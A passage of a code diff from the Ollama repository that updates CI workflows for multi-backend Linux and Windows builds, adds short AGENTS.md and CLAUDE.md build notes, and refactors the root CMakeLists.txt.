run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
- name: Log dist contents after download
run: gci -path .\dist -recurse
- name: Verify Windows package inputs
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/ollama.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- name: Build unsigned Windows installer and zips
run: ./scripts/build_windows.ps1 deps installer zip
- name: Log contents after build
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- name: Verify Windows package outputs
shell: bash
run: |
set -euo pipefail
for payload in \
dist/ollama-windows-amd64.zip \
dist/ollama-windows-arm64.zip \
dist/ollama-windows-amd64-rocm.zip \
dist/OllamaSetup.exe \
dist/install.ps1
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- uses: actions/upload-artifact@v4
with:
name: ollama-windows-amd64.zip
path: dist/ollama-windows-amd64.zip
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: ollama-windows-arm64.zip
path: dist/ollama-windows-arm64.zip
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: ollama-windows-amd64-rocm.zip
path: dist/ollama-windows-amd64-rocm.zip
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: OllamaSetup.exe
path: dist/OllamaSetup.exe
compression-level: 0
- uses: actions/upload-artifact@v4
with:
name: install.ps1
path: dist/install.ps1
compression-level: 0
+152 -37
View File
@@ -23,7 +23,7 @@ jobs:
outputs:
changed: ${{ steps.changes.outputs.changed }}
app_changed: ${{ steps.changes.outputs.app_changed }}
vendorsha: ${{ steps.changes.outputs.vendorsha }}
enginehash: ${{ steps.changes.outputs.enginehash }}
steps:
- uses: actions/checkout@v4
with:
@@ -38,9 +38,42 @@ jobs:
| xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
}
echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
echo changed=$(changed \
'CMakeLists.txt' \
'CMakePresets.json' \
'cmake/**' \
'cmake/**/*' \
'llama/server/**/*' \
'llama/compat/**/*' \
'LLAMA_CPP_VERSION' \
'MLX_VERSION' \
'MLX_C_VERSION' \
'llama/llama.cpp/**/*' \
'ml/backend/ggml/ggml/**/*' \
'x/imagegen/mlx/**' \
'x/imagegen/mlx/**/*' \
'.github/**/*') | tee -a $GITHUB_OUTPUT
echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
patches:
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- name: Verify patches apply cleanly
shell: bash
run: |
cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
-DCMAKE_BUILD_TYPE=Release \
-DBUILD_SHARED_LIBS=ON \
-DGGML_BACKEND_DL=ON \
-DGGML_NATIVE=OFF \
-DGGML_OPENMP=OFF \
-DGGML_CPU_ALL_VARIANTS=ON \
-DOLLAMA_RUNNER_DIR=
linux:
needs: [changes]
@@ -49,23 +82,41 @@ jobs:
matrix:
include:
- preset: CPU
superbuild_target: ollama-local
superbuild_dir: build/local-superbuild
superbuild_args: ''
expected_payload: lib/ollama/llama-server
install-go: true
- preset: CUDA
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
superbuild_target: ollama-llama-server-cuda_v13
superbuild_dir: build/local-superbuild-cuda_v13
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
- preset: ROCm
container: rocm/dev-ubuntu-22.04:7.2.1
extra-packages: rocm-libs
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
superbuild_target: ollama-llama-server-rocm_v7_2
superbuild_dir: build/local-superbuild-rocm_v7_2
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
- preset: Vulkan
container: ubuntu:22.04
extra-packages: >
mesa-vulkan-drivers vulkan-tools
libvulkan1 libvulkan-dev
vulkan-sdk cmake ccache g++ make
vulkan-sdk spirv-headers cmake ccache g++ make
superbuild_target: ollama-llama-server-vulkan
superbuild_dir: build/local-superbuild-vulkan
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
expected_payload: lib/ollama/vulkan/libggml-vulkan.so
- preset: 'MLX CUDA 13'
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
superbuild_target: ollama-mlx-cuda_v13
superbuild_dir: build/local-superbuild-mlx-cuda_v13
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
install-go: true
runs-on: linux
container: ${{ matrix.container }}
@@ -82,11 +133,9 @@ jobs:
echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg] https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
$sudo apt-get update
fi
$sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
# MLX requires CMake 3.25+, install from official releases
if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
fi
$sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
# Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
# Export VULKAN_SDK if provided by LunarG package (defensive)
if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
@@ -96,17 +145,30 @@ jobs:
- if: matrix.install-go
name: Install Go
run: |
[ -n "${{ matrix.container }}" ] || sudo=sudo
GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
echo "/usr/local/go/bin" >> $GITHUB_PATH
- uses: actions/cache@v4
with:
path: /github/home/.cache/ccache
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
- run: |
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
cmake --build --preset "${{ matrix.preset }}" --parallel
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
- name: Build native superbuild
if: matrix.superbuild_target
run: |
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
- name: Verify local superbuild install
if: matrix.superbuild_target == 'ollama-local'
run: |
./ollama --version
"${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
"$RUNNER_TEMP/ollama-local/bin/ollama" --version
"$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
windows:
needs: [changes]
if: needs.changes.outputs.changed == 'True'
@@ -114,9 +176,16 @@ jobs:
matrix:
include:
- preset: CPU
superbuild_target: ollama-local
superbuild_dir: build\local-superbuild
superbuild_args: ''
expected_payload: lib\ollama\llama-server.exe
- preset: CUDA
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
superbuild_target: ollama-llama-server-cuda_v13
superbuild_dir: build\local-superbuild-cuda_v13
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
cuda-components:
- '"cudart"'
- '"nvcc"'
@@ -127,14 +196,26 @@ jobs:
- '"nvptxcompiler"'
cuda-version: '13.0'
- preset: ROCm
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
rocm-version: '7.1'
superbuild_target: ollama-llama-server-rocm_v7_1
superbuild_dir: build\local-superbuild-rocm_v7_1
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
- preset: Vulkan
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
superbuild_target: ollama-llama-server-vulkan
superbuild_dir: build\local-superbuild-vulkan
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
- preset: 'MLX CUDA 13'
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
superbuild_target: ollama-mlx-cuda_v13
superbuild_dir: build\local-superbuild-mlx-cuda_v13
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
install-go: true
cuda-components:
- '"cudart"'
- '"nvcc"'
@@ -203,6 +284,10 @@ jobs:
}
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
if (Test-Path $vulkanRuntime) {
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
}
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
- if: matrix.preset == 'MLX CUDA 13'
@@ -232,18 +317,44 @@ jobs:
C:\Program Files\NVIDIA\CUDNN
key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
- uses: actions/checkout@v4
- if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
uses: actions/setup-go@v5
with:
go-version-file: 'go.mod'
- uses: actions/cache@v4
with:
path: ${{ github.workspace }}\.ccache
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
- run: |
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
- name: Build native superbuild
if: matrix.superbuild_target
run: |
$ErrorActionPreference = "Stop"
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
cmake --build --parallel --preset "${{ matrix.preset }}"
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
$env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
throw "missing ${{ matrix.expected_payload }}"
}
env:
CMAKE_GENERATOR: Ninja
- name: Verify local superbuild install
if: matrix.superbuild_target == 'ollama-local'
run: |
$ErrorActionPreference = "Stop"
& ".\ollama.exe" --version
& "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
throw "missing llama-quantize.exe"
}
$installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
& "$installPrefix\bin\ollama.exe" --version
& "$installPrefix\lib\ollama\llama-server.exe" --version
if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
throw "missing installed llama-quantize.exe"
}
go_mod_tidy:
runs-on: ubuntu-latest
steps:
@@ -266,7 +377,9 @@ jobs:
go-version-file: 'go.mod'
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- uses: actions/setup-node@v4
with:
node-version: '20'
@@ -280,6 +393,17 @@ jobs:
if: ${{ startsWith(matrix.os, 'ubuntu') }}
working-directory: ./app/ui/app
run: npm test
- name: Verify MLX generated files are current
if: ${{ startsWith(matrix.os, 'ubuntu') }}
run: |
cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
git diff --exit-code -- \
x/imagegen/mlx/mlx.h \
x/imagegen/mlx/mlx.c \
x/mlxrunner/mlx/generated.h \
x/mlxrunner/mlx/generated.c \
x/mlxrunner/mlx/include/mlx/c
- name: Run go generate
run: go generate ./...
@@ -294,12 +418,3 @@ jobs:
- uses: golangci/golangci-lint-action@v9
with:
only-new-issues: true
patches:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Verify patches apply cleanly and do not change files
run: |
make -f Makefile.sync clean checkout apply-patches sync
git diff --compact-summary --exit-code
+21
View File
@@ -0,0 +1,21 @@
# AGENTS.md
## Building
For a full build from the repository root:
```sh
cmake -B build .
cmake --build build --parallel 8
./ollama serve
```
For quick Go-only iteration against an existing native payload:
```sh
go build .
go run . serve
```
See `docs/development.md` for prerequisites, platform notes, GPU backends, and
the full development workflow.
+3
View File
@@ -0,0 +1,3 @@
# CLAUDE.md
See `AGENTS.md` for the shared agent instructions for this repository.
+21 -327
View File
@@ -1,4 +1,4 @@
cmake_minimum_required(VERSION 3.21)
cmake_minimum_required(VERSION 3.24)
project(Ollama C CXX)
@@ -23,30 +23,23 @@ include(GNUInstallDirs)
find_package(Threads REQUIRED)
set(CMAKE_BUILD_TYPE Release)
set(BUILD_SHARED_LIBS ON)
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
endif()
# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
if(NOT DEFINED BUILD_SHARED_LIBS)
set(BUILD_SHARED_LIBS ON)
endif()
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
set(GGML_BUILD ON)
set(GGML_SHARED ON)
set(GGML_CCACHE ON)
set(GGML_BACKEND_DL ON)
set(GGML_BACKEND_SHARED ON)
set(GGML_SCHED_MAX_COPIES 4)
set(GGML_LLAMAFILE ON)
set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
set(GGML_CUDA_GRAPHS ON)
set(GGML_CUDA_FA ON)
set(GGML_CUDA_COMPRESSION_MODE default)
if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
set(GGML_CPU_ALL_VARIANTS ON)
endif()
# GGML backend for inference is provided by llama-server (built separately via
# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
# The root CMake project is the orchestration entrypoint; backend-specific
# build rules live in subprojects under cmake/.
if(APPLE)
set(CMAKE_BUILD_RPATH "@loader_path")
@@ -55,7 +48,8 @@ if(APPLE)
endif()
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
@@ -64,309 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
# Store ggml include paths for use with target_include_directories later.
# We avoid global include_directories() to prevent polluting the include path
# for other projects like MLX (whose openblas dependency has its own common.h).
set(GGML_INCLUDE_DIRS
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
)
add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
# Define GGML version variables for shared library SOVERSION
# These are required by ggml/src/CMakeLists.txt for proper library versioning
set(GGML_VERSION_MAJOR 0)
set(GGML_VERSION_MINOR 0)
set(GGML_VERSION_PATCH 0)
set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
set(GGML_CPU ON)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
if(NOT CPU_VARIANTS)
set(CPU_VARIANTS "ggml-cpu")
endif()
# Apply ggml include directories to ggml targets only (not globally)
target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
foreach(variant ${CPU_VARIANTS})
if(TARGET ${variant})
target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
endif()
endforeach()
install(TARGETS ggml-base ${CPU_VARIANTS}
RUNTIME_DEPENDENCIES
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
)
check_language(CUDA)
if(CMAKE_CUDA_COMPILER)
if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
set(CMAKE_CUDA_ARCHITECTURES "native")
endif()
find_package(CUDAToolkit)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
install(TARGETS ggml-cuda
RUNTIME_DEPENDENCIES
DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
PRE_INCLUDE_REGEXES cublas cublasLt cudart
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
)
endif()
set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
CACHE STRING
"Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
)
check_language(HIP)
if(CMAKE_HIP_COMPILER)
set(HIP_PLATFORM "amd")
if(NOT AMDGPU_TARGETS)
find_package(hip REQUIRED)
list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
endif()
if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
endif()
if(AMDGPU_TARGETS)
find_package(hip REQUIRED)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
if (WIN32)
target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
endif()
target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
install(TARGETS ggml-hip
RUNTIME_DEPENDENCY_SET rocm
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
)
install(RUNTIME_DEPENDENCY_SET rocm
DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
PRE_EXCLUDE_REGEXES ".*"
POST_EXCLUDE_REGEXES "system32"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
)
foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
break()
endif()
endforeach()
endif()
endif()
if(NOT APPLE)
find_package(Vulkan)
if(Vulkan_FOUND)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
install(TARGETS ggml-vulkan
RUNTIME_DEPENDENCIES
PRE_INCLUDE_REGEXES vulkan
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
)
endif()
endif()
option(MLX_ENGINE "Enable MLX backend" OFF)
if(MLX_ENGINE)
message(STATUS "Setting up MLX (this takes a while...)")
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
# Find CUDA toolkit if MLX is built with CUDA support
find_package(CUDAToolkit)
# Build list of directories for runtime dependency resolution
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
if(DEFINED ENV{CUDNN_ROOT_DIR})
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
endif()
# Add build output directory and MLX dependency build directories
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
# so there is no runtime dependency. This path covers the stub build dir
# for windows so we include the DLL in our dependencies.
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
# Base regexes for runtime dependencies (cross-platform)
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
if(WIN32)
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
endif()
install(TARGETS mlx mlxc
RUNTIME_DEPENDENCIES
DIRECTORIES ${MLX_RUNTIME_DIRS}
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
if(TARGET jaccl)
install(TARGETS jaccl
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
endif()
# Install the Metal library for macOS arm64 (must be colocated with the binary)
# Metal backend is only built for arm64, not x86_64
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Install headers for NVRTC JIT compilation at runtime.
# MLX's own install rules use the default component so they get skipped by
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
#
# Layout:
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ — CCCL headers
# ${OLLAMA_INSTALL_DIR}/include/*.h — CUDA toolkit headers
#
# MLX's jit_module.cpp resolves CCCL via
# current_binary_dir()[.parent_path()] / "include" / "cccl"
# On Linux, MLX's jit_module.cpp resolves CCCL via
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
# This will need refinement if we add multiple CUDA versions for MLX in the future.
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
if(NOT WIN32 AND NOT APPLE)
install(CODE "
set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
